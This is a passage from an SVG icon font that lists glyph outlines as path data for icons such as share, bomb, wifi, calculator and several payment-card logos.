q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h256zM1216 768q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h256zM1536 640v-128h-224v128h224zM1536 1152v-128h-864v128h864z" />
    <glyph glyph-name="uniF1E0" unicode="&#xf1e0;" 
d="M1216 512q133 0 226.5 -93.5t93.5 -226.5t-93.5 -226.5t-226.5 -93.5t-226.5 93.5t-93.5 226.5q0 12 2 34l-360 180q-92 -86 -218 -86q-133 0 -226.5 93.5t-93.5 226.5t93.5 226.5t226.5 93.5q126 0 218 -86l360 180q-2 22 -2 34q0 133 93.5 226.5t226.5 93.5
t226.5 -93.5t93.5 -226.5t-93.5 -226.5t-226.5 -93.5q-126 0 -218 86l-360 -180q2 -22 2 -34t-2 -34l360 -180q92 86 218 86z" />
    <glyph glyph-name="_451" unicode="&#xf1e1;" 
d="M1280 341q0 88 -62.5 151t-150.5 63q-84 0 -145 -58l-241 120q2 16 2 23t-2 23l241 120q61 -58 145 -58q88 0 150.5 63t62.5 151t-62.5 150.5t-150.5 62.5t-151 -62.5t-63 -150.5q0 -7 2 -23l-241 -120q-62 57 -145 57q-88 0 -150.5 -62.5t-62.5 -150.5t62.5 -150.5
t150.5 -62.5q83 0 145 57l241 -120q-2 -16 -2 -23q0 -88 63 -150.5t151 -62.5t150.5 62.5t62.5 150.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_452" unicode="&#xf1e2;" horiz-adv-x="1792" 
d="M571 947q-10 25 -34 35t-49 0q-108 -44 -191 -127t-127 -191q-10 -25 0 -49t35 -34q13 -5 24 -5q42 0 60 40q34 84 98.5 148.5t148.5 98.5q25 11 35 35t0 49zM1513 1303l46 -46l-244 -243l68 -68q19 -19 19 -45.5t-19 -45.5l-64 -64q89 -161 89 -343q0 -143 -55.5 -273.5
t-150 -225t-225 -150t-273.5 -55.5t-273.5 55.5t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5q182 0 343 -89l64 64q19 19 45.5 19t45.5 -19l68 -68zM1521 1359q-10 -10 -22 -10q-13 0 -23 10l-91 90q-9 10 -9 23t9 23q10 9 23 9t23 -9l90 -91
q10 -9 10 -22.5t-10 -22.5zM1751 1129q-11 -9 -23 -9t-23 9l-90 91q-10 9 -10 22.5t10 22.5q9 10 22.5 10t22.5 -10l91 -90q9 -10 9 -23t-9 -23zM1792 1312q0 -14 -9 -23t-23 -9h-96q-14 0 -23 9t-9 23t9 23t23 9h96q14 0 23 -9t9 -23zM1600 1504v-96q0 -14 -9 -23t-23 -9
t-23 9t-9 23v96q0 14 9 23t23 9t23 -9t9 -23zM1751 1449l-91 -90q-10 -10 -22 -10q-13 0 -23 10q-10 9 -10 22.5t10 22.5l90 91q10 9 23 9t23 -9q9 -10 9 -23t-9 -23z" />
    <glyph glyph-name="_453" unicode="&#xf1e3;" horiz-adv-x="1792" 
d="M609 720l287 208l287 -208l-109 -336h-355zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM1515 186q149 203 149 454v3l-102 -89l-240 224l63 323
l134 -12q-150 206 -389 282l53 -124l-287 -159l-287 159l53 124q-239 -76 -389 -282l135 12l62 -323l-240 -224l-102 89v-3q0 -251 149 -454l30 132l326 -40l139 -298l-116 -69q117 -39 240 -39t240 39l-116 69l139 298l326 40z" />
    <glyph glyph-name="_454" unicode="&#xf1e4;" horiz-adv-x="1792" 
d="M448 224v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM256 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM832 224v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23
v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM640 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM66 768q-28 0 -47 19t-19 46v129h514v-129q0 -27 -19 -46t-46 -19h-383zM1216 224v-192q0 -14 -9 -23t-23 -9h-192
q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1024 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1600 224v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23
zM1408 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 1016v-13h-514v10q0 104 -382 102q-382 -1 -382 -102v-10h-514v13q0 17 8.5 43t34 64t65.5 75.5t110.5 76t160 67.5t224 47.5t293.5 18.5t293 -18.5t224 -47.5
t160.5 -67.5t110.5 -76t65.5 -75.5t34 -64t8.5 -43zM1792 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 962v-129q0 -27 -19 -46t-46 -19h-384q-27 0 -46 19t-19 46v129h514z" />
    <glyph glyph-name="_455" unicode="&#xf1e5;" horiz-adv-x="1792" 
d="M704 1216v-768q0 -26 -19 -45t-45 -19v-576q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v512l249 873q7 23 31 23h424zM1024 1216v-704h-256v704h256zM1792 320v-512q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v576q-26 0 -45 19t-19 45v768h424q24 0 31 -23z
M736 1504v-224h-352v224q0 14 9 23t23 9h288q14 0 23 -9t9 -23zM1408 1504v-224h-352v224q0 14 9 23t23 9h288q14 0 23 -9t9 -23z" />
    <glyph glyph-name="_456" unicode="&#xf1e6;" horiz-adv-x="1792" 
d="M1755 1083q37 -38 37 -90.5t-37 -90.5l-401 -400l150 -150l-160 -160q-163 -163 -389.5 -186.5t-411.5 100.5l-362 -362h-181v181l362 362q-124 185 -100.5 411.5t186.5 389.5l160 160l150 -150l400 401q38 37 91 37t90 -37t37 -90.5t-37 -90.5l-400 -401l234 -234
l401 400q38 37 91 37t90 -37z" />
    <glyph glyph-name="_457" unicode="&#xf1e7;" horiz-adv-x="1792" 
d="M873 796q0 -83 -63.5 -142.5t-152.5 -59.5t-152.5 59.5t-63.5 142.5q0 84 63.5 143t152.5 59t152.5 -59t63.5 -143zM1375 796q0 -83 -63 -142.5t-153 -59.5q-89 0 -152.5 59.5t-63.5 142.5q0 84 63.5 143t152.5 59q90 0 153 -59t63 -143zM1600 616v667q0 87 -32 123.5
t-111 36.5h-1112q-83 0 -112.5 -34t-29.5 -126v-673q43 -23 88.5 -40t81 -28t81 -18.5t71 -11t70 -4t58.5 -0.5t56.5 2t44.5 2q68 1 95 -27q6 -6 10 -9q26 -25 61 -51q7 91 118 87q5 0 36.5 -1.5t43 -2t45.5 -1t53 1t54.5 4.5t61 8.5t62 13.5t67 19.5t67.5 27t72 34.5z
M1763 621q-121 -149 -372 -252q84 -285 -23 -465q-66 -113 -183 -148q-104 -32 -182 15q-86 51 -82 164l-1 326v1q-8 2 -24.5 6t-23.5 5l-1 -338q4 -114 -83 -164q-79 -47 -183 -15q-117 36 -182 150q-105 180 -22 463q-251 103 -372 252q-25 37 -4 63t60 -1q4 -2 11.5 -7
t10.5 -8v694q0 72 47 123t114 51h1257q67 0 114 -51t47 -123v-694l21 15q39 27 60 1t-4 -63z" />
    <glyph glyph-name="_458" unicode="&#xf1e8;" horiz-adv-x="1792" 
d="M896 1102v-434h-145v434h145zM1294 1102v-434h-145v434h145zM1294 342l253 254v795h-1194v-1049h326v-217l217 217h398zM1692 1536v-1013l-434 -434h-326l-217 -217h-217v217h-398v1158l109 289h1483z" />
    <glyph glyph-name="_459" unicode="&#xf1e9;" 
d="M773 217v-127q-1 -292 -6 -305q-12 -32 -51 -40q-54 -9 -181.5 38t-162.5 89q-13 15 -17 36q-1 12 4 26q4 10 34 47t181 216q1 0 60 70q15 19 39.5 24.5t49.5 -3.5q24 -10 37.5 -29t12.5 -42zM624 468q-3 -55 -52 -70l-120 -39q-275 -88 -292 -88q-35 2 -54 36
q-12 25 -17 75q-8 76 1 166.5t30 124.5t56 32q13 0 202 -77q71 -29 115 -47l84 -34q23 -9 35.5 -30.5t11.5 -48.5zM1450 171q-7 -54 -91.5 -161t-135.5 -127q-37 -14 -63 7q-14 10 -184 287l-47 77q-14 21 -11.5 46t19.5 46q35 43 83 26q1 -1 119 -40q203 -66 242 -79.5
t47 -20.5q28 -22 22 -61zM778 803q5 -102 -54 -122q-58 -17 -114 71l-378 598q-8 35 19 62q41 43 207.5 89.5t224.5 31.5q40 -10 49 -45q3 -18 22 -305.5t24 -379.5zM1440 695q3 -39 -26 -59q-15 -10 -329 -86q-67 -15 -91 -23l1 2q-23 -6 -46 4t-37 32q-30 47 0 87
q1 1 75 102q125 171 150 204t34 39q28 19 65 2q48 -23 123 -133.5t81 -167.5v-3z" />
    <glyph glyph-name="_460" unicode="&#xf1ea;" horiz-adv-x="2048" 
d="M1024 1024h-384v-384h384v384zM1152 384v-128h-640v128h640zM1152 1152v-640h-640v640h640zM1792 384v-128h-512v128h512zM1792 640v-128h-512v128h512zM1792 896v-128h-512v128h512zM1792 1152v-128h-512v128h512zM256 192v960h-128v-960q0 -26 19 -45t45 -19t45 19
t19 45zM1920 192v1088h-1536v-1088q0 -33 -11 -64h1483q26 0 45 19t19 45zM2048 1408v-1216q0 -80 -56 -136t-136 -56h-1664q-80 0 -136 56t-56 136v1088h256v128h1792z" />
    <glyph glyph-name="_461" unicode="&#xf1eb;" horiz-adv-x="2048" 
d="M1024 13q-20 0 -93 73.5t-73 93.5q0 32 62.5 54t103.5 22t103.5 -22t62.5 -54q0 -20 -73 -93.5t-93 -73.5zM1294 284q-2 0 -40 25t-101.5 50t-128.5 25t-128.5 -25t-101 -50t-40.5 -25q-18 0 -93.5 75t-75.5 93q0 13 10 23q78 77 196 121t233 44t233 -44t196 -121
q10 -10 10 -23q0 -18 -75.5 -93t-93.5 -75zM1567 556q-11 0 -23 8q-136 105 -252 154.5t-268 49.5q-85 0 -170.5 -22t-149 -53t-113.5 -62t-79 -53t-31 -22q-17 0 -92 75t-75 93q0 12 10 22q132 132 320 205t380 73t380 -73t320 -205q10 -10 10 -22q0 -18 -75 -93t-92 -75z
M1838 827q-11 0 -22 9q-179 157 -371.5 236.5t-420.5 79.5t-420.5 -79.5t-371.5 -236.5q-11 -9 -22 -9q-17 0 -92.5 75t-75.5 93q0 13 10 23q187 186 445 288t527 102t527 -102t445 -288q10 -10 10 -23q0 -18 -75.5 -93t-92.5 -75z" />
    <glyph glyph-name="_462" unicode="&#xf1ec;" horiz-adv-x="1792" 
d="M384 0q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM768 0q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM384 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5
t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1152 0q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM768 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5
t37.5 90.5zM384 768q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1152 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM768 768q0 53 -37.5 90.5t-90.5 37.5
t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1536 0v384q0 52 -38 90t-90 38t-90 -38t-38 -90v-384q0 -52 38 -90t90 -38t90 38t38 90zM1152 768q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5z
M1536 1088v256q0 26 -19 45t-45 19h-1280q-26 0 -45 -19t-19 -45v-256q0 -26 19 -45t45 -19h1280q26 0 45 19t19 45zM1536 768q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1664 1408v-1536q0 -52 -38 -90t-90 -38
h-1408q-52 0 -90 38t-38 90v1536q0 52 38 90t90 38h1408q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_463" unicode="&#xf1ed;" 
d="M1519 890q18 -84 -4 -204q-87 -444 -565 -444h-44q-25 0 -44 -16.5t-24 -42.5l-4 -19l-55 -346l-2 -15q-5 -26 -24.5 -42.5t-44.5 -16.5h-251q-21 0 -33 15t-9 36q9 56 26.5 168t26.5 168t27 167.5t27 167.5q5 37 43 37h131q133 -2 236 21q175 39 287 144q102 95 155 246
q24 70 35 133q1 6 2.5 7.5t3.5 1t6 -3.5q79 -59 98 -162zM1347 1172q0 -107 -46 -236q-80 -233 -302 -315q-113 -40 -252 -42q0 -1 -90 -1l-90 1q-100 0 -118 -96q-2 -8 -85 -530q-1 -10 -12 -10h-295q-22 0 -36.5 16.5t-11.5 38.5l232 1471q5 29 27.5 48t51.5 19h598
q34 0 97.5 -13t111.5 -32q107 -41 163.5 -123t56.5 -196z" />
    <glyph glyph-name="_464" unicode="&#xf1ee;" horiz-adv-x="1792" 
d="M441 864q33 0 52 -26q266 -364 362 -774h-446q-127 441 -367 749q-12 16 -3 33.5t29 17.5h373zM1000 507q-49 -199 -125 -393q-79 310 -256 594q40 221 44 449q211 -340 337 -650zM1099 1216q235 -324 384.5 -698.5t184.5 -773.5h-451q-41 665 -553 1472h435zM1792 640
q0 -424 -101 -812q-67 560 -359 1083q-25 301 -106 584q-4 16 5.5 28.5t25.5 12.5h359q21 0 38.5 -13t22.5 -33q115 -409 115 -850z" />
    <glyph glyph-name="uniF1F0" unicode="&#xf1f0;" horiz-adv-x="2304" 
d="M1975 546h-138q14 37 66 179l3 9q4 10 10 26t9 26l12 -55zM531 611l-58 295q-11 54 -75 54h-268l-2 -13q311 -79 403 -336zM710 960l-162 -438l-17 89q-26 70 -85 129.5t-131 88.5l135 -510h175l261 641h-176zM849 318h166l104 642h-166zM1617 944q-69 27 -149 27
q-123 0 -201 -59t-79 -153q-1 -102 145 -174q48 -23 67 -41t19 -39q0 -30 -30 -46t-69 -16q-86 0 -156 33l-22 11l-23 -144q74 -34 185 -34q130 -1 208.5 59t80.5 160q0 106 -140 174q-49 25 -71 42t-22 38q0 22 24.5 38.5t70.5 16.5q70 1 124 -24l15 -8zM2042 960h-128
q-65 0 -87 -54l-246 -588h174l35 96h212q5 -22 20 -96h154zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_466" unicode="&#xf1f1;" horiz-adv-x="2304" 
d="M1119 1195q-128 85 -281 85q-103 0 -197.5 -40.5t-162.5 -108.5t-108.5 -162t-40.5 -197q0 -104 40.5 -198t108.5 -162t162 -108.5t198 -40.5q153 0 281 85q-131 107 -178 265.5t0.5 316.5t177.5 265zM1152 1171q-126 -99 -172 -249.5t-0.5 -300.5t172.5 -249
q127 99 172.5 249t-0.5 300.5t-172 249.5zM1185 1195q130 -107 177.5 -265.5t0.5 -317t-178 -264.5q128 -85 281 -85q104 0 198 40.5t162 108.5t108.5 162t40.5 198q0 103 -40.5 197t-108.5 162t-162.5 108.5t-197.5 40.5q-153 0 -281 -85zM1926 473h7v3h-17v-3h7v-17h3v17z
M1955 456h4v20h-5l-6 -13l-6 13h-5v-20h3v15l6 -13h4l5 13v-15zM1947 16v-2h-2h-3v3h3h2v-1zM1947 7h3l-4 5h2l1 1q1 1 1 3t-1 3l-1 1h-3h-6v-13h3v5h1zM685 75q0 19 11 31t30 12q18 0 29 -12.5t11 -30.5q0 -19 -11 -31t-29 -12q-19 0 -30 12t-11 31zM1158 119q30 0 35 -32
h-70q5 32 35 32zM1514 75q0 19 11 31t29 12t29.5 -12.5t11.5 -30.5q0 -19 -11 -31t-30 -12q-18 0 -29 12t-11 31zM1786 75q0 18 11.5 30.5t29.5 12.5t29.5 -12.5t11.5 -30.5q0 -19 -11.5 -31t-29.5 -12t-29.5 12.5t-11.5 30.5zM1944 3q-2 0 -4 1q-1 0 -3 2t-2 3q-1 2 -1 4
q0 3 1 4q0 2 2 4l1 1q2 0 2 1q2 1 4 1q3 0 4 -1l4 -2l2 -4v-1q1 -2 1 -3l-1 -1v-3t-1 -1l-1 -2q-2 -2 -4 -2q-1 -1 -4 -1zM599 7h30v85q0 24 -14.5 38.5t-39.5 15.5q-32 0 -47 -24q-14 24 -45 24q-24 0 -39 -20v16h-30v-135h30v75q0 36 33 36q30 0 30 -36v-75h29v75
q0 36 33 36q30 0 30 -36v-75zM765 7h29v68v67h-29v-16q-17 20 -43 20q-29 0 -48 -20t-19 -51t19 -51t48 -20q28 0 43 20v-17zM943 48q0 34 -47 40l-14 2q-23 4 -23 14q0 15 25 15q23 0 43 -11l12 24q-22 14 -55 14q-26 0 -41 -12t-15 -32q0 -33 47 -39l13 -2q24 -4 24 -14
q0 -17 -31 -17q-25 0 -45 14l-13 -23q25 -17 58 -17q29 0 45.5 12t16.5 32zM1073 14l-8 25q-13 -7 -26 -7q-19 0 -19 22v61h48v27h-48v41h-30v-41h-28v-27h28v-61q0 -50 47 -50q21 0 36 10zM1159 146q-29 0 -48 -20t-19 -51q0 -32 19.5 -51.5t49.5 -19.5q33 0 55 19l-14 22
q-18 -15 -39 -15q-34 0 -41 33h101v12q0 32 -18 51.5t-46 19.5zM1318 146q-23 0 -35 -20v16h-30v-135h30v76q0 35 29 35q10 0 18 -4l9 28q-9 4 -21 4zM1348 75q0 -31 19.5 -51t52.5 -20q29 0 48 16l-14 24q-18 -13 -35 -12q-18 0 -29.5 12t-11.5 31t11.5 31t29.5 12
q19 0 35 -12l14 24q-20 16 -48 16q-33 0 -52.5 -20t-19.5 -51zM1593 7h30v68v67h-30v-16q-15 20 -42 20q-29 0 -48.5 -20t-19.5 -51t19.5 -51t48.5 -20q28 0 42 20v-17zM1726 146q-23 0 -35 -20v16h-29v-135h29v76q0 35 29 35q10 0 18 -4l9 28q-8 4 -21 4zM1866 7h29v68v122
h-29v-71q-15 20 -43 20t-47.5 -20.5t-19.5 -50.5t19.5 -50.5t47.5 -20.5q29 0 43 20v-17zM1944 27l-2 -1h-3q-2 -1 -4 -3q-3 -1 -3 -4q-1 -2 -1 -6q0 -3 1 -5q0 -2 3 -4q2 -2 4 -3t5 -1q4 0 6 1q0 1 2 2l2 1q1 1 3 4q1 2 1 5q0 4 -1 6q-1 1 -3 4q0 1 -2 2l-2 1q-1 0 -3 0.5
t-3 0.5zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_467" unicode="&#xf1f2;" horiz-adv-x="2304" 
d="M313 759q0 -51 -36 -84q-29 -26 -89 -26h-17v220h17q61 0 89 -27q36 -31 36 -83zM2089 824q0 -52 -64 -52h-19v101h20q63 0 63 -49zM380 759q0 74 -50 120.5t-129 46.5h-95v-333h95q74 0 119 38q60 51 60 128zM410 593h65v333h-65v-333zM730 694q0 40 -20.5 62t-75.5 42
q-29 10 -39.5 19t-10.5 23q0 16 13.5 26.5t34.5 10.5q29 0 53 -27l34 44q-41 37 -98 37q-44 0 -74 -27.5t-30 -67.5q0 -35 18 -55.5t64 -36.5q37 -13 45 -19q19 -12 19 -34q0 -20 -14 -33.5t-36 -13.5q-48 0 -71 44l-42 -40q44 -64 115 -64q51 0 83 30.5t32 79.5zM1008 604
v77q-37 -37 -78 -37q-49 0 -80.5 32.5t-31.5 82.5q0 48 31.5 81.5t77.5 33.5q43 0 81 -38v77q-40 20 -80 20q-74 0 -125.5 -50.5t-51.5 -123.5t51 -123.5t125 -50.5q42 0 81 19zM2240 0v527q-65 -40 -144.5 -84t-237.5 -117t-329.5 -137.5t-417.5 -134.5t-504 -118h1569
q26 0 45 19t19 45zM1389 757q0 75 -53 128t-128 53t-128 -53t-53 -128t53 -128t128 -53t128 53t53 128zM1541 584l144 342h-71l-90 -224l-89 224h-71l142 -342h35zM1714 593h184v56h-119v90h115v56h-115v74h119v57h-184v-333zM2105 593h80l-105 140q76 16 76 94q0 47 -31 73
t-87 26h-97v-333h65v133h9zM2304 1274v-1268q0 -56 -38.5 -95t-93.5 -39h-2040q-55 0 -93.5 39t-38.5 95v1268q0 56 38.5 95t93.5 39h2040q55 0 93.5 -39t38.5 -95z" />
    <glyph glyph-name="f1f3" unicode="&#xf1f3;" horiz-adv-x="2304" 
d="M119 854h89l-45 108zM740 328l74 79l-70 79h-163v-49h142v-55h-142v-54h159zM898 406l99 -110v217zM1186 453q0 33 -40 33h-84v-69h83q41 0 41 36zM1475 457q0 29 -42 29h-82v-61h81q43 0 43 32zM1197 923q0 29 -42 29h-82v-60h81q43 0 43 31zM1656 854h89l-44 108z
M699 1009v-271h-66v212l-94 -212h-57l-94 212v-212h-132l-25 60h-135l-25 -60h-70l116 271h96l110 -257v257h106l85 -184l77 184h108zM1255 453q0 -20 -5.5 -35t-14 -25t-22.5 -16.5t-26 -10t-31.5 -4.5t-31.5 -1t-32.5 0.5t-29.5 0.5v-91h-126l-80 90l-83 -90h-256v271h260
l80 -89l82 89h207q109 0 109 -89zM964 794v-56h-217v271h217v-57h-152v-49h148v-55h-148v-54h152zM2304 235v-229q0 -55 -38.5 -94.5t-93.5 -39.5h-2040q-55 0 -93.5 39.5t-38.5 94.5v678h111l25 61h55l25 -61h218v46l19 -46h113l20 47v-47h541v99l10 1q10 0 10 -14v-86h279
v23q23 -12 55 -18t52.5 -6.5t63 0.5t51.5 1l25 61h56l25 -61h227v58l34 -58h182v378h-180v-44l-25 44h-185v-44l-23 44h-249q-69 0 -109 -22v22h-172v-22q-24 22 -73 22h-628l-43 -97l-43 97h-198v-44l-22 44h-169l-78 -179v391q0 55 38.5 94.5t93.5 39.5h2040
q55 0 93.5 -39.5t38.5 -94.5v-678h-120q-51 0 -81 -22v22h-177q-55 0 -78 -22v22h-316v-22q-31 22 -87 22h-209v-22q-23 22 -91 22h-234l-54 -58l-50 58h-349v-378h343l55 59l52 -59h211v89h21q59 0 90 13v-102h174v99h8q8 0 10 -2t2 -10v-87h529q57 0 88 24v-24h168
q60 0 95 17zM1546 469q0 -23 -12 -43t-34 -29q25 -9 34 -26t9 -46v-54h-65v45q0 33 -12 43.5t-46 10.5h-69v-99h-65v271h154q48 0 77 -15t29 -58zM1269 936q0 -24 -12.5 -44t-33.5 -29q26 -9 34.5 -25.5t8.5 -46.5v-53h-65q0 9 0.5 26.5t0 25t-3 18.5t-8.5 16t-17.5 8.5
t-29.5 3.5h-70v-98h-64v271l153 -1q49 0 78 -14.5t29 -57.5zM1798 327v-56h-216v271h216v-56h-151v-49h148v-55h-148v-54zM1372 1009v-271h-66v271h66zM2065 357q0 -86 -102 -86h-126v58h126q34 0 34 25q0 16 -17 21t-41.5 5t-49.5 3.5t-42 22.5t-17 55q0 39 26 60t66 21
h130v-57h-119q-36 0 -36 -25q0 -16 17.5 -20.5t42 -4t49 -2.5t42 -21.5t17.5 -54.5zM2304 407v-101q-24 -35 -88 -35h-125v58h125q33 0 33 25q0 13 -12.5 19t-31 5.5t-40 2t-40 8t-31 24t-12.5 48.5q0 39 26.5 60t66.5 21h129v-57h-118q-36 0 -36 -25q0 -20 29 -22t68.5 -5
t56.5 -26zM2139 1008v-270h-92l-122 203v-203h-132l-26 60h-134l-25 -60h-75q-129 0 -129 133q0 138 133 138h63v-59q-7 0 -28 1t-28.5 0.5t-23 -2t-21.5 -6.5t-14.5 -13.5t-11.5 -23t-3 -33.5q0 -38 13.5 -58t49.5 -20h29l92 213h97l109 -256v256h99l114 -188v188h66z" />
    <glyph glyph-name="_469" unicode="&#xf1f4;" horiz-adv-x="2304" 
d="M745 630q0 -37 -25.5 -61.5t-62.5 -24.5q-29 0 -46.5 16t-17.5 44q0 37 25 62.5t62 25.5q28 0 46.5 -16.5t18.5 -45.5zM1530 779q0 -42 -22 -57t-66 -15l-32 -1l17 107q2 11 13 11h18q22 0 35 -2t25 -12.5t12 -30.5zM1881 630q0 -36 -25.5 -61t-61.5 -25q-29 0 -47 16
t-18 44q0 37 25 62.5t62 25.5q28 0 46.5 -16.5t18.5 -45.5zM513 801q0 59 -38.5 85.5t-100.5 26.5h-160q-19 0 -21 -19l-65 -408q-1 -6 3 -11t10 -5h76q20 0 22 19l18 110q1 8 7 13t15 6.5t17 1.5t19 -1t14 -1q86 0 135 48.5t49 134.5zM822 489l41 261q1 6 -3 11t-10 5h-76
q-14 0 -17 -33q-27 40 -95 40q-72 0 -122.5 -54t-50.5 -127q0 -59 34.5 -94t92.5 -35q28 0 58 12t48 32q-4 -12 -4 -21q0 -16 13 -16h69q19 0 22 19zM1269 752q0 5 -4 9.5t-9 4.5h-77q-11 0 -18 -10l-106 -156l-44 150q-5 16 -22 16h-75q-5 0 -9 -4.5t-4 -9.5q0 -2 19.5 -59
t42 -123t23.5 -70q-82 -112 -82 -120q0 -13 13 -13h77q11 0 18 10l255 368q2 2 2 7zM1649 801q0 59 -38.5 85.5t-100.5 26.5h-159q-20 0 -22 -19l-65 -408q-1 -6 3 -11t10 -5h82q12 0 16 13l18 116q1 8 7 13t15 6.5t17 1.5t19 -1t14 -1q86 0 135 48.5t49 134.5zM1958 489
l41 261q1 6 -3 11t-10 5h-76q-14 0 -17 -33q-26 40 -95 40q-72 0 -122.5 -54t-50.5 -127q0 -59 34.5 -94t92.5 -35q29 0 59 12t47 32q0 -1 -2 -9t-2 -12q0 -16 13 -16h69q19 0 22 19zM2176 898v1q0 14 -13 14h-74q-11 0 -13 -11l-65 -416l-1 -2q0 -5 4 -9.5t10 -4.5h66
q19 0 21 19zM392 764q-5 -35 -26 -46t-60 -11l-33 -1l17 107q2 11 13 11h19q40 0 58 -11.5t12 -48.5zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_470" unicode="&#xf1f5;" horiz-adv-x="2304" 
d="M1597 633q0 -69 -21 -106q-19 -35 -52 -35q-23 0 -41 9v224q29 30 57 30q57 0 57 -122zM2035 669h-110q6 98 56 98q51 0 54 -98zM476 534q0 59 -33 91.5t-101 57.5q-36 13 -52 24t-16 25q0 26 38 26q58 0 124 -33l18 112q-67 32 -149 32q-77 0 -123 -38q-48 -39 -48 -109
q0 -58 32.5 -90.5t99.5 -56.5q39 -14 54.5 -25.5t15.5 -27.5q0 -31 -48 -31q-29 0 -70 12.5t-72 30.5l-18 -113q72 -41 168 -41q81 0 129 37q51 41 51 117zM771 749l19 111h-96v135l-129 -21l-18 -114l-46 -8l-17 -103h62v-219q0 -84 44 -120q38 -30 111 -30q32 0 79 11v118
q-32 -7 -44 -7q-42 0 -42 50v197h77zM1087 724v139q-15 3 -28 3q-32 0 -55.5 -16t-33.5 -46l-10 56h-131v-471h150v306q26 31 82 31q16 0 26 -2zM1124 389h150v471h-150v-471zM1746 638q0 122 -45 179q-40 52 -111 52q-64 0 -117 -56l-8 47h-132v-645l150 25v151
q36 -11 68 -11q83 0 134 56q61 65 61 202zM1278 986q0 33 -23 56t-56 23t-56 -23t-23 -56t23 -56.5t56 -23.5t56 23.5t23 56.5zM2176 629q0 113 -48 176q-50 64 -144 64q-96 0 -151.5 -66t-55.5 -180q0 -128 63 -188q55 -55 161 -55q101 0 160 40l-16 103q-57 -31 -128 -31
q-43 0 -63 19q-23 19 -28 66h248q2 14 2 52zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_471" unicode="&#xf1f6;" horiz-adv-x="2048" 
d="M1558 684q61 -356 298 -556q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-180.5 74.5t-75.5 180.5zM1024 -176q16 0 16 16t-16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5zM2026 1424q8 -10 7.5 -23.5t-10.5 -22.5
l-1872 -1622q-10 -8 -23.5 -7t-21.5 11l-84 96q-8 10 -7.5 23.5t10.5 21.5l186 161q-19 32 -19 66q50 42 91 88t85 119.5t74.5 158.5t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q124 -18 219 -82.5t148 -157.5
l418 363q10 8 23.5 7t21.5 -11z" />
